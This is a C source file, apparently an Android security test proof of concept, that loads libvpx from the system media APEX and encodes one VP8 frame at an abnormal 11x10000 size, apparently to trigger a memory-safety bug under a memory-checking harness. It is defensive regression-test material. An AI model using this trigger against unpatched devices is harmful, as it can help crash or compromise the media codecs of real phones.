/**
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <dlfcn.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "../includes/memutils.h"
#include "vpx/vp8cx.h"
#include "vpx/vpx_codec.h"
#include "vpx/vpx_encoder.h"

#define ENCODE_WIDTH 11
#define ENCODE_HEIGHT 10000
#define LIBNAME "/system/apex/com.android.media.swcodec/lib64/libvpx.so"
#define LIBNAME_APEX "/apex/com.android.media.swcodec/lib64/libvpx.so"

char enable_selective_overload = ENABLE_NONE;

int main() {
    enable_selective_overload = ENABLE_ALL;
    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
    if (!libHandle) {
        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
        if (!libHandle) {
            return EXIT_FAILURE;
        }
    }
    vpx_codec_err_t codec_return = VPX_CODEC_OK;
    vpx_codec_enc_cfg_t mCodecConfiguration;
    vpx_image_t raw_frame;
    uint32_t framerate = (30 << 16);
    vpx_codec_iface_t *(*func_ptr1)() =
        (vpx_codec_iface_t * (*)()) dlsym(libHandle, "vpx_codec_vp8_cx");
    if (!func_ptr1) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }
    vpx_codec_iface_t *mCodecInterface = (*func_ptr1)();
    if (!mCodecInterface) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }
    vpx_codec_err_t (*func_ptr2)(vpx_codec_iface_t *, vpx_codec_enc_cfg_t *, unsigned int) =
        (vpx_codec_err_t(*)(vpx_codec_iface_t *, vpx_codec_enc_cfg_t *, unsigned int))dlsym(
            libHandle, "vpx_codec_enc_config_default");
    if (!func_ptr2) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }
    codec_return = (*func_ptr2)(mCodecInterface, &mCodecConfiguration, 0);
    mCodecConfiguration.g_w = ENCODE_WIDTH;
    mCodecConfiguration.g_h = ENCODE_HEIGHT;
    vpx_codec_ctx_t mCodecContext;
    vpx_codec_err_t (*func_ptr3)(vpx_codec_ctx_t *, vpx_codec_iface_t *, vpx_codec_enc_cfg_t *,
                                 vpx_codec_flags_t, int) =
        (vpx_codec_err_t(*)(vpx_codec_ctx_t *, vpx_codec_iface_t *, vpx_codec_enc_cfg_t *,
                            vpx_codec_flags_t, int))dlsym(libHandle, "vpx_codec_enc_init_ver");
    if (!func_ptr3) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }
    codec_return = (*func_ptr3)(&mCodecContext, mCodecInterface, &mCodecConfiguration, 0,
                                VPX_ENCODER_ABI_VERSION);

    if (codec_return != VPX_CODEC_OK) {
        return EXIT_FAILURE;
    }
    unsigned char *source = (unsigned char *)memalign(16, (ENCODE_WIDTH * ENCODE_HEIGHT * 3 / 2));
    if (!source) {
        return EXIT_FAILURE;
    }
    memset(source, 0, (ENCODE_WIDTH * ENCODE_HEIGHT * 3 / 2));
    vpx_image_t (*func_ptr4)(vpx_image_t *, vpx_img_fmt_t, unsigned int, unsigned int, unsigned int,
                             unsigned char *) =
        (vpx_image(*)(vpx_image *, vpx_img_fmt, unsigned int, unsigned int, unsigned int,
                      unsigned char *))dlsym(libHandle, "vpx_img_wrap");
    if (!func_ptr4) {
        dlclose(libHandle);
        free(source);
        return EXIT_FAILURE;
    }
    (*func_ptr4)(&raw_frame, VPX_IMG_FMT_I420, ENCODE_WIDTH, ENCODE_HEIGHT, 1, source);
    vpx_codec_err_t (*func_ptr5)(vpx_codec_ctx_t *, const vpx_image_t *, vpx_codec_pts_t,
                                 unsigned long, vpx_enc_frame_flags_t, unsigned long) =
        (vpx_codec_err_t(*)(vpx_codec_ctx *, const vpx_image *, long, unsigned long, long,
                            unsigned long))dlsym(libHandle, "vpx_codec_encode");
    if (!func_ptr5) {
        dlclose(libHandle);
        free(source);
        return EXIT_FAILURE;
    }
    codec_return =
        (*func_ptr5)(&mCodecContext, &raw_frame, framerate,
                     (uint32_t)(((uint64_t)1000000 << 16) / framerate), 0, VPX_DL_REALTIME);
    if (codec_return != VPX_CODEC_OK) {
        free(source);
        return EXIT_FAILURE;
    }
    vpx_codec_err_t (*func_ptr6)(vpx_codec_ctx_t *) =
        (vpx_codec_err_t(*)(vpx_codec_ctx *))dlsym(libHandle, "vpx_codec_destroy");
    if (!func_ptr6) {
        dlclose(libHandle);
        free(source);
        return EXIT_FAILURE;
    }
    (*func_ptr6)(&mCodecContext);
    enable_selective_overload = ENABLE_NONE;
    dlclose(libHandle);
    free(source);
    return EXIT_SUCCESS;
}